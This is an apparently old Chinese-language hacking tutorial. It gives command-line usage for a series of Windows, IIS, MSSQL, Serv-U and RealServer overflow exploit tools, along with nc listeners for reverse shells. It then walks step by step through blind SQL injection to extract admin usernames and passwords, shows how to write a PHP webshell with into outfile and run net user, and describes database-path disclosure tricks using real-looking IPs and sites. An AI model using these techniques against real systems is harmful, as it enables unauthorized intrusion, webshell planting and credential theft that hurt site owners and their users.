|
在介绍漏洞之前我先介绍几个很不错的扫描软件,毕竟扫描是基础
x-san
这个扫描软件我想大家不在陌生!!他是一个全方位扫描漏洞的软件,他主要是用于扫描漏洞的,当然其他方面的比如固定端口的扫描,ip的扫描也都
是可以的缺点就是速度太慢~~~
nmap
这个扫描软件功能比较强大!!是居于cmd界面操作的,只要按照他的提示使用即可,扫描的速度也比较的快,要想快速搞定一台服务器的朋友还是用
这个扫描软件比较好
x-way
这个扫描软件他的功能与其他的扫描软件不同!!不只是扫描还包括了很多的小工具!!比如查询器,猜解机...如果你要猜测什么账号和密码方面的
用这个就不错了
现在我在把常见的端口所对应的服务给大家列出来!!我觉得了解一下还是很重要的~~
80 全球信息网超文本传输协议(www)
110 pop3 服务器(邮箱发送服务器)
135 (tcp/ip) 查询服务 dns
139 共享资源端口(netbios-ssn)
143 imap电子邮件
443 安全服务
444 snpp
445 nt的共享资源新端口(139)
990 ftps
995 pop3s
1026 win2000 的 internet 信息服务
1243 sub-7木马
1524 ingreslock后门
3128 squid http代理服务器的默认端口
3389 win2000 远程登陆端口
4899 remote administrator [远程控制]
7626 冰河(木马) 默认端口
12345 netbus木马 默认端口
12346 netbus木马 默认端口
还有象流光呀什么的我想大家 都比较熟悉了~~这里就不说了!!好了下面开始介绍漏洞和漏洞的利用方法!!其操作都是在cmd下面操作~~
漏洞的利用方法我都翻译成了中文,很适合那种英语学的比较菜的朋友!!
1.webdav漏洞 首先要开放80端口 要安装了 iis
用到的工具 webdavx3
利用方法 webdavx3 目标主机ip
2.rpc漏洞 工具 winrpcdcom
利用方法 winrpcdcom 目标主机ip(操作系统类型) 目标主机ip
3.idq 首先要安装了iis
利用 正向连接
1.溢出
2.telnet 登陆
telnet 目标主机ip 端口
反响连接
nc -l -p 本机端口
3.dcomrpc 溢出
漏洞利用 dcomrpc -d 目标主机ip [ortions] 有提示
[ortions] -l 6668 绑定6668端口在6668端口溢出
4.rpc long 文件名溢出
此漏洞可以通过 135(tcp/ip) 139 445 593 端口发起攻击
用 msdcomscanner.exe 软件扫描
漏洞利用 rpc2sbaa.exe os(操作系统类型0 1) 目标主机ip
5.rpc locator 溢出漏洞
扫描软件 rpc-locator.exe ip段
看说明通过注册表改掉ip
在清空连接 建立空连接
最好溢出 xlocator 操作系统类型
6.iis.asp 影射分块编码远程溢出漏洞 aspcode 溢出
扫描的时候扫描iis漏洞就可以了
漏洞利用
aspcode.exe 目标主机ip [asp文件](iisstart.asp)开放的web端口是默认的80就不用填 win2000系统不用填写是winxp的话就要填写winxp
7.sql hello exploit 漏洞溢出攻击
首先扫描1433端口 分析对方是否开放了1433端口
用dotpot port ready 1.6 来扫描是否开放1433端口
溢出工具 sqlhello
漏洞利用
sqlhello 反向连接工具 sqlhello 目标主机ip 目标主机端口1433 本机ip 本机端口
正向连接
工具 sqlhello2
sqlhello2 目标主机ip 目标主机端口1433
8. mssql sql2 溢出 首先扫描1433端口是否开放
溢出工具 nc 和 sql2.exe
漏洞利用 sql2.exe 目标主机ip 本机ip **的本机端口 sql的版本一般为0
9.ser-u溢出
首先扫描 ftp弱口令
溢出工具 serv-u 3.x/4.x
serv -i 目标主机ip -t 0(操作系统类型)-u ftp登陆账号 -p ftp登陆密码 -f 21对方开放的端口默认为21 -s 溢出后反响连接的端口也就上自己的端口
10 电影网站入侵real server 溢出
开放了real networks real sever 服务的服务器开放后其开放的断口的默认值为 主要检测554端口
rtsp 端口 554
pna 端口 7070
http 端口80
mms 端口 1755
监控端口 9090
管理端口 自己设置
其他的断口号也可以改变
漏洞利用所要用到的工具 realex
溢出步骤
1. realex host(目标主机ip) 操作系统类型
2. telnet host 31337 绑定31337断口 在第2个cmd窗口进行连接 要先溢出在连接
主要用于入侵电影网站
11 dameware mina remote control 远程缓冲区溢出 漏洞益处
首先扫描6129 端口是否开放如果开放才有可能存在这个漏洞
方法反响连接
工具利用 dameweird.exe 目标主机ip 本机ip 本地**端口 溢出版本
12.windows meida 远程益处漏洞 媒体服务产生的一个漏洞
首先扫描1755 7007 6666 7778 端口是否开放
溢出工具 nc
media.exe
漏洞利用 media 目标主机ip -p 目标主机端口(80) -r 路径(/scripts/nsiislog.dll
nc -vv 目标主机ip 34816(确定的) -vv邦定34816端口的意思不是反响连接
13.windows messenger 服务的远程溢出(消息服务产生的漏洞)
扫描工具 messengerscan
方法 scanmsgr target=192.168.0.1-192.168.0.255(一个网段)
漏洞利用第一步
msghack -h 目标主机ip -v 目标主机操作系统 -i 目标主机语言版本 -s 操作系统的补丁号(0 1)-r 本机ip -p **的本机端口
第二步
nc -vv -l -p 本机端口 -vv邦定某个端口 -l -p反响连接或**某个端口
综上所述溢出入侵的方法其实很简单 要么正向连接要么反向连接
正向连接就是用工具将他直接溢出
反响连接那么就要用到 nc这个小工具 因为反向连接是让目标主机来连接你,而不是你去连接目标主机,反向连接很容易逃过防火墙的检测..
当然还有其他方面的漏洞ms04 ms05 ,代理,输入法的漏洞....只要找到相应的工具将他溢出就可以了
以上的漏洞当然在实际电脑中很难找到了,我讲的只是漏洞利用的方法!!至于上面的漏洞怎么修复,大部分只要不断的升级打补丁就可以了~~
至于溢出之后怎么办就*大家发挥了~~~~
*********好了现在我说下注入********
首先要 了解下基础的手动注入
1.判断
用 and 1=1 and 1=2 (在ie浏览器中输入) eg:www.hackbase.com and 1=1
and 1=1 返回正常页面
================================
and 1=2 返回错误页面
说明存在注入点
2.猜表
and 0<>(select count(*) from *) (同样在ie中输入) eg:www.hackbase.com and 0<>(select count(*) from *)
这个就最基础,最大众话的查询语句了.至于语句的作用我会给大家说明.但是具体的意思请大家自行找有关sql查询的资料看.
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
其中admin是可以换的,其他部分不要换.
一般的表的名称无非是admin adminuser user pass password 等..
3.猜帐号数目
and 0<(select count(*) from admin) 0可以改为其他的
< 就是说看看 1是不是小于里面的帐号数目 如果返回的页面是正确的说明是对的,如果错误的说明不是的那么我们就要换成 2< 3< ..... 当然啦你也可以用1> 2> 来猜
4.猜解字段名称
and 1=(select count(*) from admin where len(name)>0) 用户字段名称
and 1=(select count(*) from admin where len(password)>0) 密码字段名称
猜解表里面的字段名称了
and 1=(select count(*) from admin where len(*)>0)--- 这个是核心语句哦也是大众话的语句.我们要做的就是在len( ) 括号里面加上我们想到的字段名称.
我们先来猜用户名字段 我用的是 name ok对了.那么下面我们就来猜密码字段了.
我先用pass 晕死不是的,那么我们再换成password看看 ok对了.
那么用户字段和密码字段我们都猜解出来了.下面就是猜解长度和具体的字符了.
5.猜解各个字段的长度
猜解长度就是把
and 1=(select count(*) from admin where len(*)>0)
>0 换成其他的只道猜到=?返回正确页面为止,好,下面我们开始吧.
首先是帐号长度...刚刚帐号字段是name
and 1=(select count(*) from admin where len(name)>0) 正确
and 1=(select count(*) from admin where len(name)>1) 正确
and 1=(select count(*) from admin where len(name)>2) 正确
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确
and 1=(select count(*) from admin where len(name)>4) 正确
那么我们就可以知道长度是 6
and 1=(select count(*) from admin where len(name)=6) 正确
呵呵对了吧,=6返回的是正确页面.
下面是密码字段的长度
and 1=(select count(*) from admin where len(password)>0) 正确
and 1=(select count(*) from admin where len(password)>6) 正确
and 1=(select count(*) from admin where len(password)>10) 正确
and 1=(select count(*) from admin where len(password)>15) 错误
and 1=(select count(*) from admin where len(password)>14) 错误
and 1=(select count(*) from admin where len(password)>13) 错误
and 1=(select count(*) from admin where len(password)>12) 错误
and 1=(select count(*) from admin where len(password)>11) 正确
ok长度是 12
name 6
password 12
长度出来了,下面就是具体的字符了
猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户
and 1=(select count(*) from admin where left(password,1)='a')
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密码
left(name,1)='a' 注意了 1的位置就是你要猜解的字符的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样下去只到猜玩为止.
and 1=(select count(*) from admin where left(name,1)='a') 错误
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因为这个猜解过程比较漫长所以我就直接给出答案了.
and 1=(select count(*) from admin where left(password,1)='a') 错误
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接给出了答案.
name = pclzyq
password = pclzyq000215
7.找出登陆口,进行登陆
一般的登陆口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
这些东西大家可以去逐渐积累......
实际上大多数的注入是要用到工具的 nb2(后台账号,密码猜解工具) acac2(注入点页面查找工具)
工具的使用比较简单,大家慢慢斟酌
**但是实际上往往大多数的漏洞用工具是检测不出来的,用工具也根本无法注入,这个时候我们就不的不用到手工注入了,下面主要说下php注入的基础******
php注入不象asp那样有nbsi之类的超强工具,其实知道他的注入原理后,完全可以实现手工注入。
在php.ini中有一个配置选项magic_quotes_gpc=on/off当=on时会把提交变量中的单引号,双引号,反斜线,空白字符前面加上反斜线变成转义字符,遇到这种情况,我们可以把提交语句用asc或0x进行编码旧可以饶过了。有几个比较关键的语句,一是union,通过并运算查询当前表中字段,用与将多个select语句的结果联合到一个结果集中,可以用它猜字段,eg:id=1234 and 1=2 union select 1,2,3,4...。猜出后会在相应地方出现数字对应。load_file()用来返回文件里的内容,注意的是要写明全文件路径和名称,当然会出现文件读不出来的问题,原因很多主要是权限问题,还有文件是否可读,mysql用户是否具有file权限,还有就是些代码处理问题了用相关函数或者查原代码就可以了。eg:load_file('c:/boot.ini'),可以嵌入到union查询中,在相应的数字的位置上就会显示出你要得系统文件了。into outfile用来把表中内容写入文件,假设我们可以上传图片,上传后路径为:/upload/111.jpg,图片中的内容是一个很简单的系统变量<?phpsystem($cmd)?>,提交语句:id=1234 and 1=2 union select 1,2,load_file('d:/xxx/xxxx/down/upload/111.jpg'),4 into file'd:/xxx/xxxx/down/muma.php'(以前看过这个列子,记得最清楚了,嘿嘿~~),接着我们去看_blank>http://www.xxx.com/down/muma.php?cmd=net user,就可以执行命令了,注意的是mysql5。0以下不支持and连接两个表查询。 得到webshell还可以找一个可写的目录插入数据然后再导出到相应文件(如下),...很多方法。
create table file (cmd text not null)
insert into file (cmd) values ()
select cmd from file into outfile filepath
drop table if exists file
有些站测试提交单引号就可以暴露很多信息是因为在php.ini中选项display_errors=on,会返回错误信息,象提交:_blank>http://www.shyau.com.tw/article.php?sid=140',结果呢?:warning: supplied argument is not a valid mysql result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230
warning: supplied argument is not a valid mysql result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230路径都出来了,晕。
有时当提交单引号不能返回错误信息时,可以增加查询负值或改变查询类型,例如:id=1234我们可以提交:id=11111....(边界检查不彻底)或id=ssss(第一次见还是在x挡案看无敌的文章,原来这也可以啊)也有可能暴出敏感信息。
mysql也有内置变量,version()返回当前数据库版本信息,database()返回当前数据库名,user(),system_user(),session_user()返回mysql用户名,可以帮助我们获得更多信息。这些都是很基础的东西,更多的技术还要大家自己发现,文章含盖并不全,有些资料细节往大家查询php中文手册。~~
*****好了关于注入方面的知识也不是一两句话能说的清楚的下面主要说下暴库****
一,关于"%5c"暴库大法:
这种方法被认为是暴库绝招,很是流行了一阵(随着知道的人多了,防备也加强了,没以前那么有效了)。这种方法,简单点说就是,打开网页时,把网址址中的"/"换成"%5c",然后提交,就可以暴出数据库的路径。
实际上,并不是所有网址都有效,需要"asp?id="这样的网页地址(表示有调用数据库的行为),如果你确认这个网页有调用数据库的,后面不是这样的也可以,比如chklogin.asp等也可以。(当然,也还有其它条件,后面再谈。)
先举个例子,
_blank>_blank>http://219.237.81.46/yddown%5cview.asp?id=3
把第二个"/"换成"%5c"
_blank>_blank>http://219.237.81.46/yddown%5cview.asp?id=3
提交后会得到如下结果:
microsoft jet database engine 错误 '80004005'
'd:\111\admin\rds_dbd32rfd213fg.mdb'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/yddown/conn.asp,行12
比如:上面的网站中,网站:_blank>http://219.237.81.46的根目录为:"d:\111\"雨点下载目录则在根目录(d:\111)内的"yddown"下,我们网站访问该站时,就是在访问d:\111\yddown\目录,而http://219.237.81.46/yddown/admin/,它只表明了admin与yddown这个目录的相对关系,把这个网站放在e:盘,也一样不改变admin位于yddown目录下的关系。
当server.mappath方法将相对路径转为真实路径时,它实际是三部分路径加在一起得到真实路径的:网页目前执行时所在的相对路径,也就是从网站物理根目录起的相对路径,比如上面例子中conn.asp处在从根目录起的"/yddown/"下;然后调用的数据库的相对路径是admin/rds_dbd32rfd213fg.mdb,这样就得到从根目录起的完整相对路径:"/yddown/admin/rds_dbd32rfd213fg.mdb"。
这些都只是相对的路径,如何变为真实路径呢?
设置过iis的人都会知道,每一个网站,都必须指定它在硬盘上的物理目录,比如上例中,网站根目录所在的物理目录为:"d:\111",server.mappath方法正是通过把"网站根目录的物理地址+完整的相对路径",从而得到真实的物理路径。这样,数据库在硬盘上的物理路径是:d:\111\yddown\admin\rds_dbd32rfd213fg.mdb。
所以他的绝对路径就是
http://219.237.81.46\yddown\admin\rds_dbd32rfd213fg.mdb
二. conn.asp 暴库
后面提交的东西变为/db/user.asp 也可以变为conn.inc
里,conn.asp只是表示数据库调用文件,因为多数都是这个名字(有些网站改名,我们也视同conn.asp)。其实,这种暴库法是最先出现的,以前很多牛人都对此进行过探讨。只是在"%5c"暴库大法出现后,倒较少有人提及。其实个人认为,"%5c"暴大法随着服务器设置安全性的加强,用武之地会越来越少。而conn.asp暴库大法发挥的余地更大,可以人为构造,臭要饭的当年著名的动网大挪移实现暴库,其实也属于此类。 |
|